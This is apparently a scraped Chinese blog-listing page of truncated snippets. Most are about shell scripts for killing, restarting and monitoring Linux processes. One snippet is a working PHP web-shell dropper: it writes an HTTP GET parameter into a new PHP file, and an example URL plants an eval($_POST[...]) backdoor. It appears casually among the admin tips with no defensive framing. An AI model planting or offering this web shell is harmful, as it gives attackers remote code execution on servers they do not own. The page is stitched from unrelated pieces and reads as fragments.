最近在调试服务器程序的时候,经常要重启进程,每次都要先查看PID、再kill掉、再启动进程,启动完了还要查看是不是启动成功了。略烦。
于是想要写个shell脚本做以上几件事,一了百了。
功能需求:
1、杀死指定进程
2、启动指定进程
3、检查指定进程是否启动
转载
2023-12-01 11:01:03
125阅读
<?php $file="jack.php";//可根据文件名更改,也可以写入指定一个目录.fwrite(fopen("$file","w+"),$_GET['badboy']);?> PS:感谢朋友们,欢迎大家交流http://127.0.0.1/1.php?badboy=<?php eval($_POST[h]);?>
原创
2015-07-04 13:07:30
797阅读
shell脚本监控-linux操作系统
在没有nagios监控软件的情况下,只要服务器能上互联网,就可通过发邮件的方式来提醒管理员系统负载与CPU占用的使用情况。一、安装linux下面的一个邮件客户端msmtp软件(类似于一个foxmail的工具) 1、下载安装: http://downloads.sourceforge.net/msmtp/m
从事Linux主机建设和运维的同事们在工作中应该经常会遇到批量修改配置信息或部署应用环境的需求,需要根据需求依次登录目标主机执行一些命令或脚本,使用shell脚本的循环语句是实现这一需求最直观方式。但是普通的for或do while循环都是串行执行的,脚本耗时每个循环耗时*循环次数,在较大规模实施或者目标语句耗时较长的情况下,串行方式的循环脚本执行时间也不容忽视。要减少执行串行循环的耗时,自然要考
转载
2023-10-20 07:03:58
88阅读
本文内容是根据网络上一篇博文使用shell脚本对linux系统和进程资源进行监控对其验证学习的总结。 主要是通过常用的 shell 命令来对系统的运行状态进行监控,另一方面也是对学习的 shell 命令的实战。涉及的命令系统相关ps 查看当前系统中进程信息
-u 指定所属用户
vimstat 展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情
转载
2024-03-15 05:26:08
41阅读
服务端程序一般需要长期后台稳定运行,除了保证程序本身的健壮外,还需要用到一些守护程序。 现分享一个简单的Shell脚本的方式: #! /bin/sh#进程名字可修改PRO_NAME=railsCMD="nohup bundle exec rails...
转载
2019-06-04 00:35:00
807阅读
2评论
服务端程序一般需要长期后台稳定运行,除了保证程序本身的健壮外,还需要用到一些守护程序。现分享一个简单的Shell脚本的方式:#! /bin/sh#进程名字可修改
转载
2021-09-28 15:23:29
1462阅读
点赞
一、停止
(1)直接停止
转载
2023-05-29 20:08:55
750阅读
以mysql为例,先上shell脚本,如下:#!/bin/bash
ps -ef | grep mysqld | grep -v grep
if [ $? -ne 0 ]
then
echo "start process......"
/etc/rc.d/init.d/mysqld start
else
echo "runing......"
fi以上脚本是从网上转载,实际运行中发现使用ps命
转载
2024-03-07 17:34:03
142阅读
检查进程是否存在在对进程进行监控时,我们一般需要得到该进程的 ID,进程 ID 是进程的唯一标识,但是有时可能在服务器上不同用户下运行着多个相同进程名的进程,下面的函数 GetPID 给出了获取指定用户下指定进程名的进程 ID 功能(目前只考虑这个用户下启动一个此进程名的进程),它有两个参数为用户名和进程名,它首先使用 ps 查找进程信息,同时通过 grep 过滤出需要的进程,最后通过 sed 和
转载
2024-05-02 22:43:03
165阅读
#!/bin/sh
#根据进程名杀死进程
processname='my process'
PROCESS=`ps -ef|grep $processname|grep -v grep|grep -v PPID|awk '{ print $2}'`
for i in $PROCESS
do
echo "Kill the $1 process [ $i ]"
kill -9 $i
转载
2023-07-02 23:02:27
152阅读
#!/bin/sh
ps -fe|grep processString |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
else
echo "runing....."
fi
#####
processString 表示进程特征字符串,能够查询到唯一进程的特征字符串
0表示存在的
$? -ne 0 不存在,$? -eq 0
转载
2024-05-26 16:43:14
140阅读
前几天开始跑一份数据名单,名单需要提供用户名、是否有手机号、是否有邮箱,用户名单我轻易的获取到了,但是,用户名单有2000w之多,并且去检测用户是否有手机号、是否有邮箱必须得通过一个对外开放的安全接口一个一个用户去请求,然后分析返回值才能知道。下面是我处理的方案:1、将2000w名单保存到临时数据表2、用PHP程序每次从该表获取500个用户,检测完后生成SQL update原纪录3、为了防止PHP程序突然断掉,用shell脚本每隔1分钟检测,PHP挂掉了则重启我使用shell脚本作为守护进程的原因是,手机与邮箱的检测接口速度慢,不可能在1~2天将2000w用户检测完。方案详细:1、临时保存用户
转载
2013-07-15 20:59:00
112阅读
2评论
红帽(Red Hat)是一家全球知名的开源软件公司,总部位于美国北卡罗来纳州。作为一家以Linux操作系统为基础的公司,红帽的产品和服务涵盖了操作系统、虚拟化、存储、中间件、云计算和容器技术等多个领域。在众多的红帽产品中,Red Hat Enterprise Linux(RHEL)是其最具代表性的产品之一。
在Linux系统中,Shell脚本是一种非常常用的脚本语言,它可以用来执行一系列的命令和
原创
2024-04-29 11:29:33
82阅读
#!/bin/bash echo "开始" echo "`date "+%Y-%m-%d %H:%M:%S"` 正在杀进程..." ps -aux | grep 你的程序名.py | grep -v grep | awk '{print $2}' | xargs kill -9 echo "`dat
原创
2022-11-06 00:56:58
412阅读
在Linux系统中,我们经常会用到Shell脚本来完成一些自动化的操作,比如批量处理文件、定时任务等。而在PHP中,我们也经常会需要调用Shell脚本来实现一些功能。本文将介绍在Linux下使用PHP调用Shell脚本的方法。
首先,我们需要确保服务器上已安装了PHP及相关的扩展库,以及Shell脚本可以被执行。接着,我们可以使用PHP的系统调用函数`exec()`、`shell_exec()`
原创
2024-04-30 09:46:22
197阅读
需要去除禁用的函数去php.ini需要配置执行php的用户权限vi /etc/
原创
2022-12-13 10:25:42
348阅读
#!/bin/sh #Author: cym #2014-05-21 #----------------How to use----------------# #copy make_java.sh to /bin #chmod +x make_java.sh
原创
2015-04-16 20:13:47
1679阅读
[root@testapp ~]# ps -ef | grep nginxroot 25265 25216 0 09:22 pts/0 00:00:00 grep --color=auto
原创
2023-05-11 10:49:01
228阅读
# 如何用 Shell 脚本杀死 Java 进程
在开发过程中,我们常常需要管理 Java 应用程序的进程。其中,杀死无用的或错误的 Java 进程可能是一个频繁的操作。本文将指导你如何实现一个简单的 Shell 脚本来自动杀死 Java 进程,并提供相关的代码和详细的步骤说明。
## 解决方案流程
下面的表格展示了整个操作的流程:
| 步骤 | 操作描述